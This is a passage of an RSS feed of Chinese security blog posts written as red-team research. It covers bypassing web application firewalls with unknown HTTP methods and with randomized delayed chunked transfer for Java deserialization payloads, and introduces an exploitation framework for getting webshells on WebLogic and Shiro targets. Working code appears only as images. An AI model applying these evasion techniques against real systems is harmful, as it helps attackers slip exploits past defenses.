BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">和</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">HTTP请求方法</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">影响。一旦遇到未知方法，Servlet不再进入业务代码，直接返回一个</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">http.method_not_implemented</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">报错。具体代码如下：</span></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.59453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0c700f5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcvy5QPicpV1c8agProqczbxevnAic0m8ulPhQ5UsDQmHKCK1iavMCYg4iavKibCPMQH8hbcvIQ1QuVOYg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><span style="font-size: 14px;letter-spacing: 2px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">所以得到一个结论就是 </span><strong style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">未知Http方法名绕WAF这个姿势，可以使用在Filter和Listener层出现的漏洞，同时WAF不解析的情况</strong><span style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">。</span><br/></span></p>



<p><a href="https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f306066e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484134%26idx%3D1%26sn%3Dd502f0e616436926eb088f557a1f4368%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 Aug 2021 12:01:00 +0800</pubDate>
    </item>
    <item>
      <title>Java反序列化数据绕WAF之延时分块传输</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484111&amp;idx=1&amp;sn=d23daa07b2fbb7125c02997a50e4088c</link>
      <description>让分块传输重振往日雄风</description>
      <content:encoded><![CDATA[<p>
<span>c0ny1</span> <span>2021-08-24 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>让分块传输重振往日雄风</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=33c201ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPfSUDFGQzVWgZtyTusZr9zLKGS6s2LwOhYbxqPtIQy1Lj5EdzsH6wADZOAXBbjC9vx7JPZSkmHiamw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 1.5em;text-align: center;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);font-size: 18px;background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"> 0x01 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">背景</span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">chunked-coding-converter</span><span style="font-size: 14px;letter-spacing: 1px;">在0.2.1以及之前版本是不支持对二进制数据进行分块的。这个问题实验室的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">darkr4y</span><span style="font-size: 14px;letter-spacing: 1px;">师傅今年3月份的时候就已经反馈了多次，由于懒癌在身一直没有更新。直到我自己遇到一个站点，<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484067&amp;idx=1&amp;sn=3a0fe73cb30a84af18c3c932f0e661b2&amp;chksm=cf36fae3f84173f5780e94c87b325f2b2b1ccb04fd04cd85beb9aad7da1f56a0b405bdd7b425&amp;scene=21#wechat_redirect" textvalue="反序列化带大量脏数据" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;letter-spacing: 1px;">反序列化</span>带大量脏数据</a>没有绕成功，于是又想起了分块传输。花了一点时间让插件支持了二进制数据，然而这样依然被拦截了！ </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.54453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=afcb26e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfSUDFGQzVWgZtyTusZr9zLmnSqftIdM3DmrYmIsia6tTPZVuIibB3sZOqn2T5aaz3j1pIiaI5mU1ygQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">这也在意料之中，分块传输被公开已经有两年之久，很多WAF已经支持检测。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">那有没有办法让这个姿势重振往日</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">雄风</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">呢？</span><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x02 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">延时分块</span></strong></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">通过测试，WAF一般是如下应对分块传输的。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 发现数据包是分块传输，启动分块传输线程进行接收</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 分块传输线程不断接收客户端传来的分块，直到接收到</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">0\r\n\r\n</span><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. 将所有分块合并，并检测合并之后的内容。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">当时和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">darkr4y</span><span style="font-size: 14px;letter-spacing: 1px;">师傅交流时，我们曾做过一个设想，</span><strong><span style="font-size: 14px;letter-spacing: 1px;text-decoration: none;">在上一块传输完成后，sleep一段时间，再发送下一块。</span></strong><span style="font-size: 14px;letter-spacing: 1px;text-decoration: none;">目的是在2阶段延长WAF分块传输线程的等待时间，消耗WAF性能。这时有没有可能WAF为自身性能和为业务让步考虑，而放弃等待所有分块发送完呢？</span><strong><span style="font-size: 14px;letter-spacing: 1px;text-decoration: none;"></span></strong><span style="font-size: 14px;letter-spacing: 1px;"> 。这次正好遇到适合的环境来验证一下想法。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.946875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=802a1656&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfSUDFGQzVWgZtyTusZr9zLn2u7N69iaWTdhicSenMuviaVmueHj3CgrUwPKS0z8A1cjDjpSb64EeOfQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">当然了，我们块与块之间发送的间隔时间必须要小于后端中间件的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">post timeout</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">,Tomcat默认是20s,weblogic是30s。</span><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x03 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">编码实现</span></strong></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">为了加大WAF的识别难度，我们可以考虑以下3点。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 延时时间随机化</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 分块长度随机化</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. 垃圾注释内容与长度随机化[可选]</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">首先我们需要对原始request header进行处理。需要把</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Content-Length</span><span style="font-size: 14px;letter-spacing: 1px;">删除，分块传输不需要发送body长度，然后加上</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">Transfer-Encoding: chunked</span><span style="font-size: 14px;letter-spacing: 1px;">头。</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29010989010989013" data-s="300,640" style="" data-type="png" data-w="910" src="https://wechat2rss.xlab.app/img-proxy/?k=04307d42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfSUDFGQzVWgZtyTusZr9zLUZu9h8R6t52bYia0gBPpYRr8ytJB3H6n0jeQuEm6nwvViaQLco9EwQmA%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">其实调用</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">HttpURLConnection.setChunkedStreamingMode(int chunkedLen)</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">就可以</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">实现分块发包。不过这个接口只能设置固定分块长度，而且无法直接控制分块时间间隔。于是我打算用socket来模拟发送http/https分块传输包，这样要灵活的多。以下是实现的简化代码。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.94140625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7ad93177&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfSUDFGQzVWgZtyTusZr9zLz8RYDeKNeglia6jXCZjIUX23RpDlY2dbHicVfFxjwkJl3dhQtTzSTiaiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 1.5em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">为了方便日后使用，我给</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">chunked-coding-converter</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">插件添加了</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">sleep chunked sender</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">，并添加很多细节功能，比如预估分块数量范围和延时范围，显示每一块发送的内容，长度，延时时间以及发送状态等等。</span></p><p style="line-height: 1.5em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">这里我直接使用最新版本，将被拦截的数据分成</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">218块</span><span style="font-size: 14px;letter-spacing: 1px;">，共延时</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">1分46秒</span><span style="font-size: 14px;letter-spacing: 1px;">发送，最终成功绕过WAF。</span></p><p style="line-height: 1.5em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6953125" data-s="300,640" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=555c748e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfSUDFGQzVWgZtyTusZr9zLcuQU0gJtlbjDDeq5eib2iapC67MJRLHSdyNprVu2pUjZSOdF01rWjf4A%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="letter-spacing: 1px;font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"> <strong>0x04 </strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">一些零碎</span></strong><span style="letter-spacing: 1px;font-size: 18px;"></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;"><br/></span></strong></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;"><br/></span></strong></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">最后列一点边边角角的东西，当餐后”</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">甜点</span><span style="font-size: 14px;letter-spacing: 1px;">“，需要请自取。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 只有HTTP/1.1支持分块传输</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. POST包都支持分块，不局限仅仅于反序列化和上传包</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. Transfer-Encoding: chunked大小写不敏感</span></p><p style="line-height: 1.5em;"><br/></p>



<p><a href="https://gv7.me/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d5d3c44f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484111%26idx%3D1%26sn%3Dd23daa07b2fbb7125c02997a50e4088c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 24 Aug 2021 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>高危漏洞狙击框架:woodpecker-framework</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484082&amp;idx=1&amp;sn=80fb7308cbbce18ba0368b5cdb04f474</link>
      <description>这是我对漏洞精准检测和深度利用的思考</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2021-08-10 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>这是我对漏洞精准检测和深度利用的思考</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2823f9f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPc3Oh7wr1xHd0Itfod2WUf59yWkEJrrx4CkQOibiasdPLPu3AJKmt3PwoZiaWkYJUTTLOUrQdh0Tyhuw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"> 0x01 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">简介</span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">woodpecker-framework</span><span style="font-size: 14px;letter-spacing: 1px;">是一款高危漏洞综合利用框架，目的是可以狙击高危漏洞，拿到权限！其设计是由我在日常红队外围打点经验抽象得来。它的每个模块和外围打点的主要流程是一一对应的。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">比如遇到一个具体的外围应用，渗透测试的流程是：</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 探测当前应用所有攻击面和风险点 （</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">信息探测模块</span><span style="font-size: 14px;letter-spacing: 1px;">）</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 使用poc探测漏洞是否存在 (</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">精准检测模块</span><span style="font-size: 14px;letter-spacing: 1px;">)</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. 通过exp拿下webshell (</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">深度利用模块</span><span style="font-size: 14px;letter-spacing: 1px;">)</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">4. 遇到奇葩环境漏洞环境自动化无法打死，需要人工生成payload （</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">荷载生成模块</span><span style="font-size: 14px;letter-spacing: 1px;">）</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">5. 人工构造payload时经常需要做一些常规操作，比如把Class变成BCEL编码，runtime.exec命令变形等等 （</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">辅助模块</span><span style="font-size: 14px;letter-spacing: 1px;">）</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">下面围绕</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">weblogic</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">shiro</span><span style="font-size: 14px;letter-spacing: 1px;">这两个高频漏洞应用来介绍详细每个模块。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"> 0x02 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;">信息探测模块（InfoDetector）</span></strong></span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>信息探测模块的任务是寻找当前应用最薄弱的点。</strong>显然有用的信息是判断的重要依据。</span><span style="font-size: 14px;letter-spacing: 1px;">这里探测的信息不是什么操作系，中间件，cms之类的指纹识别。</span><span style="font-size: 14px;letter-spacing: 1px;">而是针对具体应用的攻击面和风险点的探测，比如weblogic就会探测如下信息。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. weblogic是那个版本</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 协议是否开启t3/iiop协议</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">3. web端口是否可以访问到console，wls，async之类的组件</span></p><p style="line-height: 1.5em;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7" data-s="300,640" style="" data-type="png" data-w="1280" 